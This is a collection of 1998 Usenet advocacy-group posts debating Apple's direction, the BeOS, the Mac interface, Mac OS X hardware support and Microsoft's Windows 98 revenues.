References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com>
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Date: Sat, 18 Jul 1998 11:51:55 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 07:51:55 EDT
> That's not what George said is it? Sun, SGI, and HP have all been
> successfull, because they have found their killer app. Be has yet to do this
> or even show any real direction. They have a nice 'show' OS, so I guess their
> killer app is going to be what, demonstrations?
What was the Macintosh's killer app? MacPaint? MacLogo?
My point being these things take time.
> -Stephen
> ---------------------------------------------------------------------------
> "Watch what you say or Eric will sic Be's lawyers on you"
Better yet, don't rip Be off and you won't have to blame me for
anything.
--Eric
Message-ID: <35B09080.6B85@REMOVE.wayne.edu>
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Organization: WSU
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <35AFC01F.1739@REMOVE.wayne.edu> <slrn6qvr1q.jto.jason@jhste1.dyn.ml.org>
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Date: Sat, 18 Jul 1998 12:08:48 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 08:08:48 EDT
Jason S. wrote:
>
> Eric Iverson posted the following to comp.sys.mac.advocacy:
>
> >If you haven't seen NetPositive, you've never used the BeOS.
>
> I've used NetPositive. I've also used Netscape on UNIX. I'll
> take Netscape on UNIX.
I'm so happy for you.
--Eric
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 18 Jul 1998 00:56:25 GMT
Organization: I don't think so
Message-ID: <slrn6qvsub.qjo.jason@jhste1.dyn.ml.org>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net> <mNOSPAMroeder-1707981742020001@192.168.21.168>
Michael Roeder posted the following to comp.sys.mac.advocacy:
>But if you know what the file contains, you have a head start on solving
>the problem. What if I gave you an unidentified byte stream and asked you
>to tell me what was in it? That's really hard.
Not with UNIX. See magic(4) and file(1).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998071813442100.JAA26722@ladder01.news.aol.com>
Date: 18 Jul 1998 13:44:21 GMT
Organization: AOL http://www.aol.com
References: <mNOSPAMroeder-1507981407020001@192.168.21.170>
Michael Roeder said:
> the original design (of the Mac UI) was expandable and new features have
>been added as subtle changes to the UI.
I think that this argument is hard to justify given the original venue of the
MacOS, a 9" b/w 72 dpi screen.
>I used CyberDog, a pretty cool OpenDoc application, for a while, but it
>didn't interact very well with other applications.
Other _non OpenDoc_ applications--would you care to comment on how it would
have interacted with other OpenDoc applications had they been created?
>Okay, here's an example. Go to a Mac Plus with System 5 running Finder. It
>let you run only one application at a time. Now turn System 7 with
>Multifinder. With a subtle change to the UI -- a menu on the right end of
>the menu bar -- you can run several applications at once.
But I'm still only running and displaying one applicaiton at a time! The system
provides no feedback unless I click on the application menu as to what's
currently running--how can I efficiently use this single menu bar setup to run
two different applications efficiently in two different monitors on the same
machine?
>My whole point is that the Macintosh UI is at once simple enough that
>there are few exceptions to rules and it's easy to learn, and it is rich
>enough that it can be easily modified to meet new requirements without
>changing the whole interface.
That's right, just enough of it gets changed every so often to through any
thought of consistency or elegance out the window.
>So what's wrong with Apple's UI?
It's inconsistent--how do I change the time on it? What? I don't click on the
time? Why not?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Date: Sat, 18 Jul 1998 09:55:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1807980955390001@elk79.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk> <not-1607981039320001@2-20.phx.psn.net> <6op7p8$eg2$1@news.digifix.com>
In article <6op7p8$eg2$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 07/16/98, Michael M. Eilers wrote:
> Seriously, this isn't an issue of bias. Norr's "wild
> speculation" was taken as gospel by some, so much so that they
> modified their plans based on it.
>
> That was what my statement was about. I have been critical of
> things Apple has done in the past, but I bitch about them to the
> people involved, because bitching publically is pointless. It's not
> reaching the people that can make a change.
Exactly. I get a lot of grief because I don't spend a lot of time
_publicly_ criticising Apple. I choose to take my criticisms to the people
who can do something about it. I guess they're not happing unless everyone
joins them in their public FUD-fest.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: trimil@nospam.earthlink.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 09:49:27 -0400
Organization: EarthLink Network, Inc.
Message-ID: <35B0A7E5.4BE@nospam.earthlink.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp>
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> Tyler Riti wrote:
>
> Who cares that the major players aren't stepping up to bat in Be's ballpark.
> How old is the Intel port? Less that what, four months? Until the x86 port,
> nobody took the BeOS seriously. It was a geeks OS on the PPC platform. Sorta
> like the back lot with the neighborhood kids. Certainly you're not going to
> get McGuire batting in that kind of condition. After the move to Intel,
> suddenly the press took notice and now it's one of the media buzzwords.
>
> Despite that, no major software development company is going to jump up and
> immediately port their flagship product for an up and coming OS. I'm sure
> even someone like you can comprehend that.
>
The moment BeOS gets a minimal following with x86 developers, a certain
company in Redmond WA will squash it like a bug. All this talk about
BeOS somehow making it on Wintel is laughable.
If Gassee & company weren't so greedy (asking $250M for a half-finished
OS), he might have cut a deal with Apple. He rolled the dice and lost.
Now he's just trying to get out of this with the shirt on his back.
Investor lawsuits can be very expensive.
James McSheehy
<to reply, make the necessary changes in my e-mail address>
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 10:22:49 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1807981022490001@pelli.pathology.pitt.edu>
References: <pxpst2-1607982149350001@pelli.pathology.pitt.edu> <B1D4F24A-14E3D@206.165.43.134>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <B1D4F24A-14E3D@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
> Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>
> >
> >After Gil left, Markula relinguished his majority stake in Apple. He is
> >no longer in control.
>
>
>
> Are you saying that Markkula sold his stock when Amelio resigned? If not,
> then he is STILL in control. (BTW, he never had a "majority stake" at Apple
> -at least not since the IPO).
I should have said controlling stake. When one individual owns about 15
percent of stock, He is generally considered to be the controling
interrest. Currently Markula has NO control of Apple. Apple was on the
verge of a shareholders revolt with Gil at the Helm. Steve and his
"buddies" easily control more stock than Markulla. A shareholder revolt
at this point in time is virtually impossible.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
Date: Sat, 18 Jul 1998 10:21:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1807981021050001@elk79.dol.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net> <6omp7j$m5t$2@lwnws01.ne.highway1.com> <joe.ragosta-1707981312160001@wil54.dol.net> <6op6js$9dk$1@lwnws01.ne.highway1.com>
In article <6op6js$9dk$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <6omp7j$m5t$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> >
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > > At $1299, Apple is probably going to sell as many as they
> > > > can make. At $999, they wouldn't sell any more, so the market
> > > > impact would be no greater.
> > >
> > > Aint that pitiful? (That's rhetorical)
> >
> > Whether it's pitiful or not is not the issue. Someone (was it
> > you?) argued that Apple would have much more market impact at
> > $999 than $1299. That statement was clearly in error.
>
> No, *you* are clearly in error. I double dog dare you to go back in the
> thread. If you pull out that post you'll see, what I said was *if* they
> could actually produce enough to meet the demand at a $999 price point, it
You said no such thing. I posted your message in my original post and
don't care to dig it up again. If you want to make that assertion, _you_
find the article.
> would behoove them to eat margin in order to build marketshare. As dumb and
> moronic as I am, still, even I can see if they cannot keep up with demand at
> 1299, there is no purpose in selling at 999. Which is why I've been putting
> in my "pitiful" comments.
Logic has never kept you from flaming Apple before.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: It doesn't add up
Date: 18 Jul 1998 14:33:26 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6oqbnm$gvt@newsb.netnews.att.com>
References: <35AEFD5C.6D10D573@alum.mit.edu> <35AFBBC9.A6EFF88C@cisco.com>
Originator: gupta@tlctest
Eric Hermanson wrote:
>Either Microsoft is charging $150/copy for Windows 98 (which we know
>isn't true, because you can get it for under $80 in most outlets),
>or, Microsoft is completely making up their Windows 98 sales and
>revenues numbers: From http://cnnfn.com/digitaljam/9807/16/microsoft
>"Microsoft said more than 1 million copies of Windows 98 were sold
>in North America since the product's June 25 release, generating
>$150 million in revenues during the quarter."
Microsoft is reserving some of the revenue from current sales for
future quarters, to cover possible costs -- support, returns, etc.
-arun gupta
From: Mark Kaiman <mkaiman@sprintmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 10:23:42 -0400
Organization: Syracuse University
Message-ID: <35B0AFEC.F02E9F@sprintmail.com>
References: <pxpst2-1607982149350001@pelli.pathology.pitt.edu> <B1D4F24A-14E3D@206.165.43.134> <pxpst2-1807981022490001@pelli.pathology.pitt.edu>
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Peter wrote:
> II should have said controlling stake. When one individual owns about 15
> percent of stock, He is generally considered to be the controling
> interrest. Currently Markula has NO control of Apple. Apple was on the
> verge of a shareholders revolt with Gil at the Helm. Steve and his
> "buddies" easily control more stock than Markulla. A shareholder revolt
> at this point in time is virtually impossible.
>
Why would anyone even consider a shareholder revolt? The stock is higher than
its been in years, the company is profitable again, and has a strategy that
actually includes making products people want to buy! The agony of watching
incompetents (Sculley, Spindler, Amelio) run the company into the ground has
finally subsided.
Apple would be a memory by now if not for Steve Jobs. The only 'shareholder
revolt' I can imagine is if Jobs decided to leave Apple and go back to Pixar.
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From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 18 Jul 1998 16:37:44 +0200
Organization: Completely Disorganized
Message-ID: <1dcdf79.1y4to2p1lm8ksgN@rhrz-isdn3-p17.rhrz.uni-bonn.de>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <1998071813442100.JAA26722@ladder01.news.aol.com>
Mail-Copies-To: never
WillAdams <willadams@aol.com> wrote:
[big snip]
I still would love to see a GUI that's so much better than the Mac GUI.
I'm not interested in spiffy looks. But I'm very interested in _reasons_
why that hypothetical other GUI is so much better. In the meantime I'm
happily content with the Mac and its evolving GUI.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 09:40:43 -0500
Organization: Prairie Group
Message-ID: <MPG.101a6fe972ebfa669899b4@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com> <6okme4$10j$1@ironhorse.plsys.co.uk> <MPG.1017c256f4f19f59899a4@news.supernews.com> <6oo3q7$4h1$2@ironhorse.plsys.co.uk> <MPG.1019720bcc4f9be29899ab@news.supernews.com> <6oq06r$n4h$1@ironhorse.plsys.co.uk>
In article <6oq06r$n4h$1@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
says...
> > unless you need to get very close to the OS (does it support things like
> > system-wide hot keys? Hiding the app from the task bar? Icons in the
> > system tray?
> >
> Hmm, I'd guess so, it's not something I've tried. I'm sure you can mix in
> Windows-specific code if necessary. Anyone else able to comment?
>
I got an email reply that says, yes, all three of those things can be
done from OpenStep/YellowBox.
Donald
Message-ID: <35B0B51D.5A2@REMOVE.wayne.edu>
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Organization: WSU
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp> <35B0A7E5.4BE@nospam.earthlink.net>
Content-Type: text/plain; charset=us-ascii
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Date: Sat, 18 Jul 1998 14:45:03 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 10:45:03 EDT
> The moment BeOS gets a minimal following with x86 developers, a certain
> company in Redmond WA will squash it like a bug.
Don't think Be haven't thought about this. See;
http://www.be.com/aboutbe/benewsletter/volume_II/Issue16.html#Gassee
Now with the DOJ on M$'s back, and Be's positioning the BeOS as a
media OS to run alongside Windoze or MacOS, not a general purpose OS,
it's not likely they will have much desire to try and squash it.
> All this talk about
> BeOS somehow making it on Wintel is laughable.
Not nearly as funny as the M$-Apple alliance.
Seeing big brother's face on that big screen made
me wonder where the lady with the hammer went.
--Eric
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: observations from atop a slab
Date: 18 Jul 1998 14:44:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6oqcd4$h22@newsb.netnews.att.com>
References: <6op0vm$eep$1@birch.prod.itd.earthlink.net>
Originator: gupta@tlctest
Looking at today's InfoWorld Electric, (http://www.infoworld.com,
Saturday, July 18), I see news that both Informix and Oracle are
announcing that they will port their database products to Linux !
(This after, just a couple of weeks ago, saying that they would not
support Linux.)
Several things here :
a. Contrast with Apple's lack of momentum with the Yellow Box.
Apple finally had to Carbonate its future to ensure that its
major vendors climb on board.
b. Maybe Apple will see that Unix has growing momentum, and that
perhaps it can benefit from that, be less UNIX-averse.
c. The "inevitable" victory of Windows NT is looking a little less
certain. Linux could become the Web-serving, ecommerce, email,
etc. server of choice.
d. Maybe Apple should put the Yellow Box into the free source code
domain, like Netscape did with the browser. Also, seriously
consider "WebObjects for Linux".
-arun gupta
From: bryan@kcnet.com (Bryan Schmiedeler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 08:34:55 -0500
Organization: KCNet
Message-ID: <bryan-ya02408000R1807980834550001@news.kcnet.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
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I
>As I see it, Apple's (and the Mac's) best chance lies along the
>following lines:
>
>1) Write a version of OSX which will not only run on Intel, but
>will run native Windows apps as if they were Mac apps.
You made an excellent point above that I agreed with: Apple
will have trouble keeping up with R&D in the Windows world, as they
have a smaller base (hence the move toward PC hardware
standardization). But then you suggest this! How much R&D
(in time and money) do you think *that* would take?
Bryan S
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 02:15:53 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6op0gp$1dg$1@camel15.mindspring.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <B1D5496E-1B598@206.165.43.107>
Mime-Version: 1.0
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In article <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> George
Graves, gmgraves@slip.net writes:
>> No, the best thing would be for the iMac to sell truckloads, and capture
>> even more press. Everyone seems to think this is a done deal. You don't
>> have to sell the company off for it to do well - obviously - and what can
>> those companies do that Steve hasn't already?
>
>Run the company like adults on a permanent basis. Restore some of the
>lost credibility, move Apple toward being a mainstream computer, instead
>of being an isolated curiosity, reinstate clones.
I think cloning was a great idea in 1987-1993. By 1995 it was a bad idea
for an Apple in a terrible position caused by failing to clone earlier on.
Apple is profitable now--I don't see them being profitable now if they
had to reduce their prices to compete with Mac clones.
Matthew Cromer
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 18 Jul 1998 10:07:29 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1807981007290001@pm3a21.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu>
In article <6ol3nq$14g$1@vixen.cso.uiuc.edu>, stwillis@ews.uiuc.edu
(willis sean timothy) wrote:
> Joshua T. McKee (Josh.McKee@cbns.com) wrote:
> :
> :
> : No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
> : run on pre-G3 Macs, then it appears that Apple isn't living up to it's
> : promise.
> :
> : Sure, Rhapsody "1.0" will run on pre-G3 Macs...big deal if it is
> : DOA...which is effectively what Apple has done to it. I can't see any
> : future in the "1.0" version of Rhapsody.
>
> Just a question to pose: Let's say a few years back someone decided to buy
> a '386 machine that was pretty standard for it's time. said person was
> going to run Win 3.1 on it, because that was the most widely supported
> graphical OS at the time. Later, in the fall of '95, they decided to
> upgrade to Win 95, but found that they needed to upgrade hardware as well.
> So they decided to purchase a 486 66MHz machine, kinda low end but with a
> good 8 or 16 megs of RAM, it wasn't too bad.
The problem as I see it is that Apple has said this twice already...what
is to keep them from doing it with the G3 Macs? In other words, what is
to keep Apple in a year from now, declaring OS X dead and OS XI the "new"
OS? And that OS XI will not run on existing G3 Macs.
1993: The new PowerMacs will run Apple's next generation OS (at the time,
Copeland). Possibly there will be a 68K version of this OS.
1997: The current PowerMacs will run Apple's next generation OS (at the
time, Rhapsody). No support for pre-PCI Macs will be included.
1998: The current G3 systems will run Apple's next generation OS (now, OS
X). No support for non-G3 Macs will be provided.
1999: The current G4 (???) systems will run Apple's next generation OS (OS
X Pro???). No support to non-G4 Macs will be provided.
Does that last one sound like a far fetch? In light of Apple's past
history, I wouldn't be surprised.
> Cheesy Latin, but it's true: Caveat Emptor. (sp??)
Yep...if Apple could pull it's head out of its ass and figure out what
systems will run the "next generation" os, I might purchase another one
within the year. As it is...until that next generation OS ships, I won't
be purchasing one anytime soon.
Josh
From: "Daniel Berlin" <dberlin@email.msn.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp> <35B0A7E5.4BE@nospam.earthlink.net> <35B0B51D.5A2@REMOVE.wayne.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:22:36 -0400
Message-ID: <OSzgPjms9GA.301@upnetnews05>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
>Now with the DOJ on M$'s back, and Be's positioning the BeOS as a
>media OS to run alongside Windoze or MacOS, not a general purpose OS,
>it's not likely they will have much desire to try and squash it.
>
Right.
Some of us even write software for it.
Then again, i'm not the typical MS'er. I work part time for MS Research
during the school year to help pay for college.
How exactly would MS "squash" it?
It's an OS.
Now, before i start my rant, i don't speak for MS. In fact, i don't intern
there over the summer, so i'm not working for them technically right now. So
don't start in about my company or this or that. It just helps pay the
absurdly high price of college tuition these days.
If hypothetically, MS did what they supposedly did in other cases that
somehow caused the "squashing" of other apps (I'm trying to tread lightly, i
don't feel like getting in trouble, even though i'm currently not working
for them), they would have to give NT or Win98 away free or bundle it with
win98 or NT on computers, or make a new licensing agreement that does this
or that.
Sounds silly, doesn't it? Bundling win98 with win98. preinstalling NT on
computers with NT installed. Making licensing win98 a condition of licensing
win98.
Yup, because you can't do what's already supposedly being done.
They can't possibly try to squash it anymore than they supposedly are now.
Except by buying Be i guess.
I'm sure that deal would get approved. "You want to buy an OS company? Sure.
Go for it!"
Seriously people, you say "squash" or destroy without coming up with good
reasons how.
The BeOS is not an application. It's an OS. That's like saying MS is going
to try to squash Solaris.
How would they go about this? By bundling WIn98 or NT with every Sparc?
The attack MS would more likely take would be to try to get everyone to move
from Sparcs to fast x86 or alpha computers running NT.
That isn't directly trying to squash Solaris.
So what can they do on an x86 running BeOS?
Build a better media OS?
Or a crappier one and market it well?
They'd still have to get apps for it.
It would take years.
It's also not the strategy right now.
There is also no evidence of it becoming part of one.
Maybe they could get Intel to not release info like Apple.
But wait a second, Intel doesn't give two craps about MS. they only like MS
because they are currently the leading OS vendor for Intel machines. Last
time i checked, Intel had loaned Be engineers, had a Solaris porting lab set
up to port solaris apps to merced, and were also helping port solaris
themselves (that part may be wrong, i don't honestly remember all of the
announcement). Sure looks like they are ready to withold info from Be. It's
not like Be holds patents they want or anything like that. :)
I repeat the question: What could MS possibly do to destroy BeOS that isn't
already supposedly/allegedly being done?
>
>Not nearly as funny as the M$-Apple alliance.
>
>Seeing big brother's face on that big screen made
>me wonder where the lady with the hammer went.
Kicked out of the Commerical TV hammer throw for drug usage.
You know that the ad agency that did that commercial, which was the most
watched thing on TV ever IIRC was fired by Apple about a year later.
Recently rehired IIRC, after many many years. Reminds me of Apple's OS
strategy.
>
>
>--Eric
--Dan
Date: Sat, 18 Jul 1998 12:31:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: It doesn't add up
Message-ID: <joe.ragosta-1807981231290001@elk44.dol.net>
References: <35AEFD5C.6D10D573@alum.mit.edu> <35AFBBC9.A6EFF88C@cisco.com> <6oqbnm$gvt@newsb.netnews.att.com>
In article <6oqbnm$gvt@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Eric Hermanson wrote:
>
> >Either Microsoft is charging $150/copy for Windows 98 (which we know
> >isn't true, because you can get it for under $80 in most outlets),
> >or, Microsoft is completely making up their Windows 98 sales and
> >revenues numbers: From http://cnnfn.com/digitaljam/9807/16/microsoft
> >"Microsoft said more than 1 million copies of Windows 98 were sold
> >in North America since the product's June 25 release, generating
> >$150 million in revenues during the quarter."
>
> Microsoft is reserving some of the revenue from current sales for
> future quarters, to cover possible costs -- support, returns, etc.
That's true, but you're forgetting preloads.
My understanding was that MS got $150 million in revenues for this
quarter, but that was not just for updates.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 Jul 1998 16:38:53 GMT
Organization: P & L Systems
Message-ID: <6oqj2t$n4h$2@ironhorse.plsys.co.uk>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122>
<6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net>
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Cc: ZiyaOz@earthlink.net
In <6m2nh8$irr$3@bolivia.it.earthlink.net> "Ziya Oz" wrote:
> For a $4 BILLION company with a product roster very much different than the
> substance and focus of WebObject,
>
Tosh -- WebObjects is not at all out of line with Apple's focus.
> that's not a "money making beast" vital to the
> wellbeing of the corporation.
>
Percentage-wise, however you slice it, it looks like it was probably
significantly more profitable than any other Apple business.
